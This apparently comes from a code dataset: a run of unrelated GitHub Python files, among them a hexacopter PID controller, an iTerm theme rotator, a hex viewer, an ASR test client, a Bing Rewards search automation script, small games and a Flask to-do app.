0.75\n\nkp_z = 0.75\n\nki_z = 0.0005\n\nkd_z = 4\n\nkq = 2.5\n\nkr = 160\n\ng = 9.81 # gravitational acceleration\n\nkap = 8.06428e-05 #0.00099 #> constant for the matrix\n\nMu = 7.2e-06 #3.4e-6 #> constant for the matrix\n\nt1 = 0.866025404 #> sqrt(3)/2\n\nlen = 0.3 #> assuming that length is 0.3m \n\nxz = 0.707\n\nhelperr = np.zeros(200)\nhelperr_x = np.zeros(50)\nhelperr_y = np.zeros(50)\n\ndef PID_alt(roll, pitch, yaw, x, y, target, altitude, flag, roll_desired, pitch_desired, yaw_desired, k_pose, ang_velocities, kap, Mu, kq, kr, t1, speed, acceleration, orientation, velocities):\n #global variables are declared to avoid their values resetting to 0\n global prev_alt_err,iMem_alt,dMem_alt,pMem_alt,prevTime, ddMem_alt, prevdMem_alt\n global sample_time,current_time\n global target_x,target_y,req_alt, current_velocity_pose_mat, vel_x, vel_y, vel_z\n global prop_pos_mat, diff_pose_mat, i_pose_mat, omega, helperr, prev_pos_mat, prev_velocity_pose_mat, acceleration_pose_mat\n\n \n #setting targets\n kp_x = k_pose[0]\n ki_x = k_pose[1]\n kd_x = k_pose[2]\n\n kp_y = k_pose[3]\n ki_y = k_pose[4]\n kd_y = k_pose[5]\n\n kp_z = k_pose[6]\n ki_z = k_pose[7]\n kd_z = k_pose[8]\n\n\n omega = np.array([[ang_velocities[0]],[ang_velocities[1]],[ang_velocities[2]]])\n vel_x, vel_y, vel_z = velocities[0] , velocities[1] , velocities[2]\n target_x = round(target[0],2)\n target_y = round(target[1],2)\n req_alt = target[2] \n\n # setting time for the differential terms and for later applications too\n sample_time = 0.005\n current_time = time.time()\n altitude = altitude - 0.17\n #Controller for x and y. Sets setpoint pitch and roll as output depending upon the corrections given by PID\n position_controller(target_x, target_y, x, y, flag, kp_x, ki_x, kd_x, kp_y, ki_y, kd_y)\n\n err_pitch = (math.pi/180) * pitch_desired - (pitch) #Changed this from setpoint roll to roll desired\n err_roll = (math.pi/180) * roll_desired - (roll) #Changed this from setpoint pitch to pitch desired\n err_yaw = (math.pi/180) * yaw_desired - (yaw) #for our application we don't want the hexacopter to yaw like at all\n\n curr_alt_err = req_alt - altitude\n\n # Publishing error values to be plotted in rqt\n alt_err_pub = rospy.Publisher(\"/alt_err\", Float64, queue_size=10)\n alt_err_pub.publish(curr_alt_err)\n roll_err_pub = rospy.Publisher(\"/roll_err\", Float64, queue_size=10)\n roll_err_pub.publish(err_roll)\n pitch_err_pub = rospy.Publisher(\"/pitch_err\", Float64, queue_size=10)\n pitch_err_pub.publish(err_pitch)\n yaw_err_pub = rospy.Publisher(\"/yaw_err\", Float64, queue_size=10)\n yaw_err_pub.publish(err_yaw)\n\n # if(abs(curr_alt_err) < 4 and abs(vel_z) > 0.5 and abs(curr_alt_err)>0.3):\n # dampner_z = (1/vel_z) * 0.2\n # print(\"DampnerZ: \", dampner_z)\n # curr_alt_err = (abs(curr_alt_err) * 1.3 - dampner_z)\n # if (curr_alt_err < 0):\n # curr_alt_err = -curr_alt_err\n\n mass_total = 4.27 #Kg this I got from the urdf file\n\n weight = mass_total*g\n\n hover_speed = 678 #just taking an assumption later will correct it based on the experimanetal data\n\n # Flag for checking for the first time the function is called so that values can initilized\n # because if we don't check so then, we will encounter the error that we had no prevtime only\n if flag == 0:\n prevTime = 0 \n prev_alt_err = 0\n iMem_alt = 0\n dMem_alt = 0\n prevdMem_alt = 0\n ddMem_alt = 0\n prev_pos_mat = np.array([ [0],\n [0],\n [-altitude]])\n prev_velocity_pose_mat = np.array([ [0],\n [0],\n [0]])\n\n #defining time for the differential terms\n dTime = current_time - prevTime\n # print(current_time,prevTime) >> Only uncomment for debugging\n #defining all the differential terms\n\n dErr_alt = curr_alt_err - prev_alt_err\n\n # print(dTime)\n# ================== Starting calculations for the error terms =================== #\n\n current_pose_mat = np.round_(np.array([ [x ],\n [-y],\n [-altitude]]),decimals=2)\n i = 0\n for i in range(200):\n if i<199:\n helperr[i] = helperr[i+1]\n helperr[199] = curr_alt_err \n if ( dTime >= sample_time ):\n\n # Proportional Terms\n \n pMem_alt = kp_z*curr_alt_err\n \n # Integral Terms\n\n iMem_alt = ki_z*np.sum(helperr)*dTime\n\n\n # Derivative Terms\n \n dMem_alt = kd_z*(dErr_alt / dTime)\n\n #limit integrand values\n # print(iMem_alt)\n if(iMem_alt > 100): iMem_alt = 100\n if(iMem_alt < -100): iMem_alt = -100\n #calculating current acceleration for f_desired calculations\n current_velocity_pose_mat = ((current_pose_mat - prev_pos_mat)/dTime)\n acceleration_pose_mat = np.round_((current_velocity_pose_mat - prev_velocity_pose_mat)/dTime, decimals=2)\n\n #Updating previous error terms\n\n prev_alt_err = curr_alt_err\n prevTime = current_time\n # print(prev_alt_err)\n # Final output correction terms after combining PID\n # output_alt = pMem_alt + iMem_alt + kd_thrust*dMem_alt\n\n # Now, For tuning purposes we will be limiting output altitude\n \n # output_alt = 1 if output_alt > 1 else output_alt\n\n prev_velocity_pose_mat = current_velocity_pose_mat\n\n # As the y and z axes are flipped of the body frame w.r.t ground frame hence we need to reverse signs of y and z terms\n\n prop_pos_mat = np.round_(np.array([ [ pMem_x ],\n [ pMem_y],\n [pMem_alt]]),decimals=2) #position error matrix\n # print(prop_pos_mat)\n diff_pose_mat = np.round_(np.array([[dMem_x],\n [dMem_y],\n [dMem_alt]]),decimals=2)\n # print(diff_pose_mat)\n i_pose_mat = np.round_(np.array([ [iMem_x],\n [iMem_y],\n [iMem_alt]]),decimals=2)\n # print(i_pose_mat)\n tilt_ang, ang_vel_rot = control_allocation( roll, pitch, yaw, hover_speed, mass_total, weight, flag, roll_desired, pitch_desired, yaw_desired, kq, kr, Mu, kap, acceleration, orientation)\n \n # prev_pos_mat = current_pose_mat\n \n speed = speed_assign( tilt_ang, ang_vel_rot,speed)\n \n return speed\n# ======================= Control Allocation Starts here ========================== #\n\n\"\"\"\n<-----------------------------------Matrices Used------------------------------------->\n\n 1. Rotation matrix: \n R(from ground to the body frame) = R(phi)^T*R(theta)^T*R(gamma)^T\n 2. Static Allocation matrix:\n A = [constants](6x12)\n 3. Hybrid matrix:\n x = [ xc1 xs1 xc2 xs2 xc3 xs3 xc4 xs4 xc5 xs5 xc6 xs6]^T\n Where, xci = cos(αi) and xsi = sin(αi) (Here, αi = Tilt angles of the ith rotor) \n 4. We also need a pseudo inverse for the static allocation matrix\n\n\"\"\"\n\ndef control_allocation( roll, pitch, yaw, hover_speed, mass_total, weight, flag, roll_desired, pitch_desired, yaw_desired, kq, kr, Mu, kap,acceleration,orientation):\n # F_des --> Force desired and M_des --> Desired moment\n global current_time, prevTime, dTime, t1\n \n \n theta = pitch \n phi = roll \n gamma = yaw\n \n \n if (flag == 0):\n prevTime = 0\n\n dTime = current_time - prevTime\n sample_time = 0.005\n#<--------------Intertia matrix for the Moment desired calc-------------------------->\n # angular velocities\n # 3x1\n \n I = np.array([ [0.086 ,-3.4208e-05,2.4695e-05 ],\n [ 0 , 0.088 ,-3.8826e-06],\n [ 0 , 0 , 0.16 ]]) \n # The above matrix is already defined in the urdf\n # print(omega)\n\n#===============================Defining Matrices==================================>#\n relation_matrix = force_calc(phi, theta, gamma, Mu, kap, len, t1, mass_total, prop_pos_mat, diff_pose_mat, i_pose_mat, acceleration,flag, roll_desired, pitch_desired, yaw_desired, roll, pitch, yaw , omega[0][0], omega[1][0], omega[2][0], I,kq,kr, dTime, orientation)\n # print(F_des)\n # print(A_pseudo_inv)\n\n # print(Final_mat)\n # Now, here we consider xci = w^2*cos(αi) and xsi = w^2*sin(αi) \n \n relation_matrix = np.round_(relation_matrix,decimals = 2)\n relation_matrix = relation_matrix.reshape((24,1))\n\n # Now, we are going to get the angles and the velocities for the rotors\n #Note: that we have not before just considered the real values from sins and cos it may cause some problem\n\n # Angular velocties deduction\n ang_vel= np.zeros(12)\n i = 0\n for i in range(12):\n ang_vel[i]= round(abs((1/sqrt(Mu))*(sqrt(sqrt(pow(relation_matrix[2*i],2) + pow(relation_matrix[2*i+1],2))).real)), 2) # ang_vel^2 = sqrt((Xci)^2+(Xsi)^2))\n\n # Tilt Angles deduction\n tilt_ang = np.zeros(6)\n i = 0\n for i in range(6):\n x1 = relation_matrix[2*i+1]\n x2 = relation_matrix[2*i]\n # print(x1) Uses this to get the real value from the matrix\n tilt_ang[i] = round(atan2(x1,x2),2) # atan2(sin/cos)\n\n ang_vel_rot = ang_vel\n return tilt_ang, ang_vel_rot\n\n\"\"\"\n Note : CW -> Clockwise Rotation and CCW -> Anti Clockwise Rotation or Counter clockwise Rotation\n Here, We are considering CCW as +ve and CW as -ve\n Also, Here we are considering output error = current position - previous position\n So now we have got total errors for the x and y that we are off.\n So now what we do is to get at x and y is the following:\n\n 1. To get to the x we need to pitch either CW or CCW\n * Now if the difference in current_error and previous_error in x is greater than a certain constant let's say 2 units, that means we have surpassed the point x\n So, Now we need to pitch in the opposite direction of the output error in x and also in the opposite direction of the ang_velocities in x\n \n 2. To get to the y we need to roll either CW or CCW\n * Now if the difference in current_error and previous_error in y is greater than a certain constant let's say 2 units, that means we have surpassed the point y\n So, Now we need to roll in the opposite direction of the output error in y and also in the opposite direction of the velociy in y\n\n\"\"\"\n\n#Controller which applies PID to errors in x and y(target values of vel being 0) and gives setpoint pitch and roll as output to correct the errors\ndef position_controller(target_x, target_y, x, y, flag, kp_x, ki_x, kd_x, kp_y, ki_y, kd_y):\n #global variables are declared to avoid their values resetting to 0\n global prevTime,dTime\n global prevErr_x,prevErr_y,pMem_x,pMem_y,iMem_x,iMem_y,dMem_x,dMem_y\n global err_x,err_y,dErr_x,dErr_y\n global prevdMem_x, prevdMem_y\n \n if (flag == 0):\n prevTime = 0\n prevErr_x = 0\n prevErr_y = 0\n prevdMem_x = 0\n prevdMem_y = 0\n pMem_x = 0\n pMem_y = 0\n iMem_x = 0\n iMem_y = 0\n dMem_x = 0\n dMem_y = 0\n\n #setting dTime for derivative and integral terms\n dTime = current_time - float(prevTime)\n\n err_x = target_x - x\n err_y = target_y - y\n\n # if ( err_x > 1 ): err_x = 1\n # if ( err_y < -1 ): err_y = -1\n\n dErr_x = err_x - prevErr_x\n dErr_y = err_y - prevErr_y\n\n sample_time = 0.005\n\n i = 0\n for i in range(50):\n if i<49:\n helperr_x[i] = helperr_x[i+1]\n helperr_x[49] = err_x\n i = 0\n for i in range(50):\n if i<49:\n helperr_y[i] = helperr_y[i+1]\n helperr_y[49] = err_y \n if(dTime >= sample_time):\n \n # Proportional terms\n pMem_x = kp_x*err_x\n pMem_y = kp_y*err_y\n\n # Integral terms\n iMem_x = ki_x*np.sum(helperr_x)*dTime\n iMem_y = ki_y*np.sum(helperr_y)*dTime\n\n if(iMem_x>10): iMem_x = 10\n if(iMem_x<-10): iMem_x=-10\n if(iMem_y>10): iMem_y = 10\n if(iMem_y<-10): iMem_y=-10\n\n #Derivative terms\n\n dMem_x = kd_x*(dErr_x / dTime)\n dMem_y = kd_y*(dErr_y / dTime)\n # print(dErr_y)\n #updating previous terms\n prevErr_x = err_x\n prevErr_y = err_y\n\n\n\n x_err_pub = rospy.Publisher(\"/x_err\", Float64, queue_size=10)\n x_err_pub.publish(err_x)\n y_err_pub = rospy.Publisher(\"/y_err\", Float64, queue_size=10)\n y_err_pub.publish(err_y)\n\n #equation for correction\n if(abs(err_x) < 4 and abs(vel_x) > 0.35 and abs(err_x)>0.6):\n dampner = (1/vel_x) * 0.2\n print(\"Dampner: \", dampner)\n err_x = (err_x * 1.2 - dampner) #in the direction opposite to velocity\n # err_x = 10 if (err_x > 10) else err_x \n # err_x = -10 if (err_x < -10) else err_x \n\n\n if(abs(err_y) < 4 and abs(vel_y) > 0.35 and abs(err_y>0.6)):\n dampner_y = (1/vel_y) * 0.1\n # err_y = (vel_y * 2.35 - dampner_y) #in the direction opposite to velocity\n err_y = (err_y * 2.1 - dampner_y) #in the direction opposite to velocity\n # err_y = 10 if (err_y>10) else err_y\n # err_y = -10 if (err_y <-10) else err_y","repo_name":"aPR0T0/Eklavya-Copter-Control","sub_path":"scripts/pid_omav.py","file_name":"pid_omav.py","file_ext":"py","file_size_in_byte":13923,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"41693459216","text":"# -*- coding: utf-8 -*-\n\"\"\"\n CreatedDate: 2022-03-17\n FileName : reverseList.py\n Author : Honghe\n Descreption: 206. 反转链表\n\"\"\"\n\nclass ListNode(object):\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\nclass Solution(object):\n def reverseList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n pre = None\n cur = head\n while cur:\n next = cur.next\n cur.next = pre\n pre = cur\n cur = next\n return pre","repo_name":"whan2013xh/leetcode300","sub_path":"src/leetcode_set/day10/reverseList.py","file_name":"reverseList.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25932881201","text":"#!/usr/bin/env python3.7\n\nimport asyncio\nimport datetime\nimport random\nimport iterm2\n\n# How often you want the theme to change\nUPDATE_CADENCE = datetime.timedelta(minutes=45)\n\n# Profiles to update\nPROFILES=[\"Default\"]\n\n# Themes you would like to cycle through, make sure they match the names in iTerm color presets\nTHEMES = [\n\t'Belafonte Day', \n\t'Belafonte Night', \n\t'BirdsOfParadise', \n\t'Desert', \n\t'Espresso', \n\t'LiquidCarbon', \n\t'Purple Rain', \n\t'Solarized Darcula', \n\t'SpaceGray Eighties Dull', \n\t'SpaceGray'\n\t]\n\n\ndef get_random_theme():\n\treturn random.choice(THEMES)\n\nasync def set_colors(connection, preset_name):\n print(\"Changed to preset {}\".format(preset_name))\n preset = await iterm2.ColorPreset.async_get(connection, preset_name)\n for partial in (await iterm2.PartialProfile.async_query(connection)):\n if partial.name in PROFILES:\n await partial.async_set_color_preset(preset)\n\nasync def main(connection):\n while True:\n new_preset = get_random_theme()\n print(f\"Updating theme in {UPDATE_CADENCE.seconds/60} minutes\")\n await asyncio.sleep(UPDATE_CADENCE.seconds)\n await set_colors(connection, new_preset)\n await asyncio.sleep(1)\n\niterm2.run_forever(main)\n","repo_name":"bnorquist/dotfiles","sub_path":"scripts/change-theme-each-n-minutes.py","file_name":"change-theme-each-n-minutes.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28583806169","text":"import os.path\nimport sys\n\nimport hexview\nfrom PyQt5.QtCore import QSize, QRegExp\nfrom PyQt5.QtGui import QSyntaxHighlighter, QTextCharFormat, QFont\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QPushButton, QVBoxLayout, QRadioButton, QSizePolicy, QFileDialog\nfrom PyQt5.QtCore import Qt\nfrom hexview import HexViewWidget\nfrom ui.mainwindow import Ui_MainWindow\n\n\nclass MainWindow(QMainWindow, Ui_MainWindow):\n buf: bytearray = bytearray(0)\n\n def __init__(self):\n super(MainWindow, self).__init__()\n self.setupUi(self)\n\n self.hv = HexViewWidget(self.buf)\n self.hv.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n self.hv.setParent(self.gbRight)\n self.verticalLayout_2.addWidget(self.hv)\n self.binding()\n\n def binding(self):\n self.actionOpen.triggered.connect(self.on_open_action)\n\n def on_open_action(self):\n print(\"Open\")\n file, check = QFileDialog.getOpenFileNames(None, 'Open file...', '.')\n if check:\n print(file[0])\n if os.path.isfile(file[0]):\n with open(file[0]) as f:\n self.buf = f.read()\n self.hv.close()\n self.hv = HexViewWidget(self.buf)\n self.hv.setParent(self.gbRight)\n self.verticalLayout_2.addWidget(self.hv)\n self.hv.getColorModel().color_region(1, 10, Qt.darkGreen)\n self.hv.getBorderModel().border_region(1, 10, Qt.yellow)\n self.hv.getSelectionModel().bselect(11, 22)\n self.hv.view.viewOptions().font.setFamily(\"Lucida Console\")\n # self.hv.view.off\n print(type(self.hv._buf))\n self.hv._buf.replace(' ', '')\n self.hv.repaint()\n\n\napp = QApplication(sys.argv)\n\nwindow = MainWindow()\nwindow.show()\n\napp.exec()\n","repo_name":"giwig/qtHexViewer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36842921155","text":"# Ask the user for the item name\r\nitem_name = input(\"What is the item name? \")\r\n\r\n# Ask the user for the quantity\r\nquantity = int(input(\"How many items would you like? \"))\r\n\r\n# Ask the user for the price\r\nprice = float(input(\"What is the price of each item? \"))\r\n\r\n# Calculate the total cost\r\ntotal_cost = quantity * price\r\n\r\n# Create a list of the item details\r\nitem_details = [item_name, quantity, price, total_cost]\r\n\r\n# Print the list in a formatted way\r\nprint(\"| Item Name | Quantity | Price | Total |\")\r\nfor item_detail in item_details:\r\n print(\"| {} | {} | {} | {} |\".format(item_detail, item_detail, item_detail, item_detail))\r\n","repo_name":"hoggc0044/this-here-thing-is-for-uh-assessment","sub_path":"trial.py","file_name":"trial.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9117317288","text":"#!/usr/bin/python\n# coding:utf-8\nimport sys\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nimport argparse\nimport os\nimport re\nimport base64\nimport urllib\n\nfrom py_src.ws_client import WSClient\n\nscript_root = os.path.dirname(os.path.abspath(__file__))\n\n\ndef args_parser():\n parser = argparse.ArgumentParser(description='Command line client for kaldi gst server')\n parser.add_argument('-type', '--type', default=\"onetime\", dest=\"type\",\n help=\"test type onetime, stream, qus\")\n parser.add_argument('-url', '--url', default=\"\", dest=\"url\", help=\"Server websocket url\")\n parser.add_argument('-r', '--rate', default=32000, dest=\"rate\", type=int, help=\"16k, 8k, 32k.\")\n parser.add_argument('--save-adaptation-state', help=\"Save adaptation state to file\")\n parser.add_argument('--send-adaptation-state', help=\"Send adaptation state from file\")\n parser.add_argument('--content-type', default='',\n help=\"Use the specified content type (empty by default, for raw files the default is \"\n \" audio/x-raw, layout=(string)interleaved, rate=(int), \"\n \"format=(string)S16LE, channels=(int)1\")\n parser.add_argument('-p', '--port', default=\"9096\", dest=\"port\", help=\"Server websocket port\")\n parser.add_argument('-lg', '--lang', default=\"cn\", dest=\"lang\", help=\"test lang\")\n parser.add_argument('-ip', '--ip', default=\"localhost\", dest=\"ip\", help=\"ip host\")\n parser.add_argument('-mode', '--mode', default=\"full\", dest=\"mode\", help=\"stream output mode: full or clear.\")\n parser.add_argument('audiofile', help=\"Audio file to be sent to the server\", type=str)\n args = parser.parse_args()\n return args\n\n\ndef test_stream(args):\n content_type = args.content_type\n if args.url == \"\":\n url = 'ws://%s:%s/asr' % (args.ip, args.port)\n else:\n url = args.url # 方便测试线上服务\n if content_type == '' and len(re.findall(r\".raw\", args.audiofile)) > 0:\n content_type = \"audio/x-raw, layout=(string)interleaved, rate=(int)%d, \" \\\n \"format=(string)S16LE, channels=(int)1\" % (args.rate / 2)\n ws = WSClient(audiofile=args.audiofile,\n url=url + '?%s' % (urllib.urlencode([(\"content-type\", content_type)])),\n lang=args.lang, stream_mode=args.mode, byterate=args.rate,\n save_adaptation_state_filename=args.save_adaptation_state,\n send_adaptation_state_filename=args.send_adaptation_state, )\n ws.connect()\n result = ws.get_full_hyp()\n\n\ndef test_onetime(args):\n data = {'audio': base64.b64encode(open(args.audiofile).read()),\n 'lang': args.lang, 'timeout': 29}\n if args.url == \"\":\n url = 'http://%s:%s/asr' % (args.ip, args.port)\n else:\n url = args.url # 方便测试线上服务\n d = urllib.urlopen(url=url, data=urllib.urlencode(data))\n print(d.read())\n\n\nif __name__ == \"__main__\":\n args = args_parser()\n if args.type == \"onetime\":\n test_onetime(args)\n elif args.type == \"stream\":\n test_stream(args)\n else:\n print(\"error type !!!\")\n","repo_name":"wylqq312715289/ydasr-demo","sub_path":"asr_test.py","file_name":"asr_test.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11391400166","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 13 23:25:47 2021\n\n@author: rakesh\n\"\"\"\nimport random\n\nmovies=[\"avatar\",\"matrix\",\"avengers\",\"deadpool\",\"source code\",\"jungle book\",\"triangle\",\"fight club\",\"inception\",\"johnwick\"]\n\ndef create_question(movie):\n n = len(movie)\n letters = list(movie)\n temp_lst = []\n for i in range(n):\n if letters[i]==\" \":\n temp_lst.append(\" \")\n else:\n temp_lst.append(\"*\")\n qn =''.join(str(x) for x in temp_lst)\n return qn\n\ndef is_present(letter, picked_movie):\n count = picked_movie.count(letter)\n if count == 0:\n return False\n else:\n return True\n \ndef unlock(qn, movie, letter):\n ref_lst = list(movie)\n qn_lst = list(qn)\n temp_lst = []\n n = len(movie)\n for i in range(n):\n if ref_lst[i] == \" \" or ref_lst[i] == letter:\n temp_lst.append(ref_lst[i])\n else:\n if qn_lst[i] == \"*\":\n temp_lst.append(\"*\")\n else:\n temp_lst.append(ref_lst[i])\n \n qn_new =''.join(str(x) for x in temp_lst)\n return qn_new\n\ndef play():\n p1name = input(\"Enter the name of Player1: \")\n p2name = input(\"Enter the name of Player2: \")\n pp1 = 0\n pp2 = 0\n turn = 0\n willing = True\n while willing:\n if turn%2 == 0:\n #player1\n print(p1name,\"Your turn\")\n picked_movie = random.choice(movies)\n qn = create_question(picked_movie)\n print(qn)\n modified_qn = qn\n not_said = True\n while(not_said):\n letter = input(\"Your letter: \")\n if(is_present(letter, picked_movie)):\n #unlock\n modified_qn = unlock(modified_qn, picked_movie, letter)\n print(modified_qn)\n d = int(input(\"press 1 to guess the movie or 2 to unlock another letter: \"))\n if d == 1:\n ans = input(\"Your answer: \")\n if ans == picked_movie:\n pp1 = pp1+1\n print(\"Your are Correct\")\n not_said = False\n print(p2name, \"Your Score: \",pp1)\n else:\n print(\"Wrong answer, Try again.\")\n else:\n continue\n \n else:\n print(letter,\"Not Found\")\n \n c = int(input(\"Press 1 to continue or 0 to Quit: \"))\n if c == 0:\n print(p1name, \"Your Score: \",pp1)\n print(p2name, \"Your Score: \",pp2)\n print(\"Thanks for playing\")\n print(\"Have a nice day\")\n willing = False\n \n else:\n #player2\n print(p2name,\"Your turn\")\n picked_movie = random.choice(movies)\n qn = create_question(picked_movie)\n print(qn)\n modified_qn = qn\n not_said = True\n while(not_said):\n letter = input(\"Your letter: \")\n if(is_present(letter, picked_movie)):\n #unlock\n modified_qn = unlock(modified_qn, picked_movie,letter)\n print(modified_qn)\n d = int(input(\"press 1 to guess the movie or 2 to unlock another letter: \"))\n if d == 1:\n ans = input(\"Your answer: \")\n if ans == picked_movie:\n pp2 = pp2+1\n print(\"Your are Correct\")\n not_said = False\n print(p1name, \"Your Score: \",pp2)\n else:\n print(\"Wrong answer, Try again.\")\n else:\n continue\n \n else:\n print(letter,\"Not Found\")\n c = int(input(\"Press 1 to continue or 0 to Quit: \"))\n if c == 0:\n print(p1name, \"Your Score: \",pp1)\n print(p2name, \"Your Score: \",pp2)\n print(\"Thanks for playing\")\n print(\"Have a nice day\")\n willing = False\n \n turn = turn + 1\n \n \n\nplay()","repo_name":"RakeshSuvvari/Joy-of-computing-using-Python","sub_path":"guessthemovie.py","file_name":"guessthemovie.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74303235608","text":"import argparse\r\nimport time\r\n\r\nimport pyautogui as pag\r\n\r\nfrom helpers import findCenterInArea, findImageTimeout, read_random_lines, typeInUrlBar\r\n\r\nNUM_WORDS = 30\r\nWORDS_FILE_PATH = \"/Users/ssarfaraz/coding/personal/edgeRewards/words.txt\"\r\npag.PAUSE = 0\r\nWAIT_TIME = 1\r\n# for notched mac\r\nURL_X, URL_Y = 300, 55\r\n# for regular pc\r\n# urlX, urlY = 300, 30\r\n\r\n\r\n# check if something is defined in args\r\n# if so, use that as numWords\r\n# else, use default value\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\r\n \"-n\",\r\n \"--numWords\",\r\n type=int,\r\n help=\"number of words to search for\",\r\n)\r\nargs = parser.parse_args()\r\n\r\nif args.numWords:\r\n NUM_WORDS = args.numWords\r\n\r\nrandomWordsList = read_random_lines(WORDS_FILE_PATH, NUM_WORDS * 2)\r\n\r\n# first half for desktop, second half for mobile\r\nrandomWordsDesktop = randomWordsList[:NUM_WORDS]\r\nrandomWordsMobile = randomWordsList[NUM_WORDS:]\r\n\r\nt1 = time.time()\r\ntypeInUrlBar(randomWordsDesktop)\r\nt2 = time.time()\r\nprint(f\"Total time for desktop: {t2 - t1}\")\r\n\r\n# activate phone window\r\npag.hotkey(\"command\", \"option\", \"i\")\r\n\r\nt1 = time.time()\r\ntypeInUrlBar(randomWordsMobile)\r\nt2 = time.time()\r\nprint(f\"Total time for mobile: {t2 - t1}\")\r\n\r\n# close current tab\r\npag.hotkey(\"command\", \"w\")\r\n\r\n# new tab\r\npag.hotkey(\"command\", \"t\")\r\n\r\n# select url bar\r\npag.click(x=URL_X, y=URL_Y)\r\n\r\n# go to https://rewards.bing.com/\r\npag.write(\"https://rewards.bing.com/\")\r\npag.press(\"enter\")\r\n","repo_name":"DaKheera47/edgeRewards","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40749172462","text":"__author__ = \"ResearchInMotion\"\n\nimport math\nnumber = int(input(\"Please enter the number : \"))\n\nsplitnumber = [int(math.pow(int(values),3)) for values in str(number)]\nsum = 0\nfor values in splitnumber:\n sum+=values\nif(sum==number):\n print(\"Number is Armstrong\")\nelse:\n print(\"Number is not Armstrong\")","repo_name":"TorpidCoder/Python","sub_path":"PythonCourse/LeetCode/Easy/armstrongnumber.py","file_name":"armstrongnumber.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38756073453","text":"from flask import Flask,jsonify\nfrom flask_jwt_extended import JWTManager\n\nfrom application.controllers.api.ItemBluePrint import item_blueprint\nfrom application.controllers.api.ListBluePrint import list_blueprint\nfrom application.controllers.api.UserBluePrint import user_blueprint\nfrom application.dto.request.AddUserRequest import AddUserRequest\nfrom application.repositories.UserRepository import UserRepository\nfrom application.use_cases.user.AddUserUseCase import AddUserUseCase\nfrom application.providers.orm.SqlOrm import SqlOrm\n\n\ndef init():\n\tSqlOrm()\n\n\tuser_repo = UserRepository()\n\tadd_user_usecase = AddUserUseCase(user_repo)\n\n\tadd_user_req = AddUserRequest(\"NormalTestUser\",\"NormalTestUser\",False)\n\tnormal_user = add_user_usecase.process(add_user_req)\n\n\n\tadd_user_req = AddUserRequest(\"PrivilegedTestUser\",\"PrivilegedTestUser\",True)\n\tprivileged_user = add_user_usecase.process(add_user_req)\n\n\tprint(\"Test Users Initialized...\")\n\tprint(f\"NormalUser(id={normal_user.id}, username={normal_user.name}, password={normal_user.password})\")\n\tprint(f\"PrivilegedUser(id={privileged_user.id}, username={privileged_user.name}, password={privileged_user.password})\")\n\n\ndef create_app(test_config=None):\n\tapp = Flask(__name__)\n\t\n\tif test_config:\n\t\tapp.config.from_object(\"application.config.TestConfig\")\n\telse:\n\t\tapp.config.from_object(\"application.config.DevConfig\")\n\t\n\tjwt = JWTManager(app)\n\n\t@jwt.expired_token_loader\n\tdef my_expired_token_callback(jwt_token):\n\t\treturn jsonify({\"status\": \"error\", \"message\": \"Expired Token.\",\"type\":jwt_token['type']}), 402\n\n\t@jwt.invalid_token_loader\n\tdef my_invalid_token_callback(message):\n\t\treturn jsonify({\"status\": \"error\", \"message\": \"Invalid Token.\"}), 402\n\n\t@jwt.unauthorized_loader\n\tdef my_missing_token_callback(messge):\n\t\treturn jsonify({\"status\": \"error\", \"message\": \"Missing Token.\"}), 402\n\n\tapp.register_blueprint(item_blueprint)\n\tapp.register_blueprint(list_blueprint)\n\tapp.register_blueprint(user_blueprint)\n\n\tinit()\n\n\treturn app\t","repo_name":"BaturayArslan/TO-DO","sub_path":"application/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12877035965","text":"import random\nimport streamlit as st\nimport pyecharts.options as opts\nfrom pyecharts.charts import Bar\nfrom streamlit_echarts import st_pyecharts\n\n\ndef render_random_bar_chart():\n b = (\n Bar()\n .add_xaxis([\"Microsoft\", \"Amazon\", \"IBM\", \"Oracle\", \"Google\", \"Alibaba\"])\n .add_yaxis(\"2017-2018 Revenue in (billion $)\", random.sample(range(100), 10))\n .set_global_opts(\n title_opts=opts.TitleOpts(\n title=\"Top cloud providers 2018\", subtitle=\"2017-2018 Revenue\"\n ),\n toolbox_opts=opts.ToolboxOpts(),\n )\n )\n st_pyecharts(\n b, key=\"echarts\"\n ) # Add key argument to not remount component at every Streamlit run\n st.button(\"Randomize data\")\n\n\nST_BAR_DEMOS = {\n \"Bar: Random data\": (\n render_random_bar_chart,\n \"https://gallery.pyecharts.org/#/Line/line_base\",\n )\n}\n","repo_name":"andfanilo/streamlit-echarts-demo","sub_path":"demo_pyecharts/bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"31"} +{"seq_id":"29026572020","text":"# 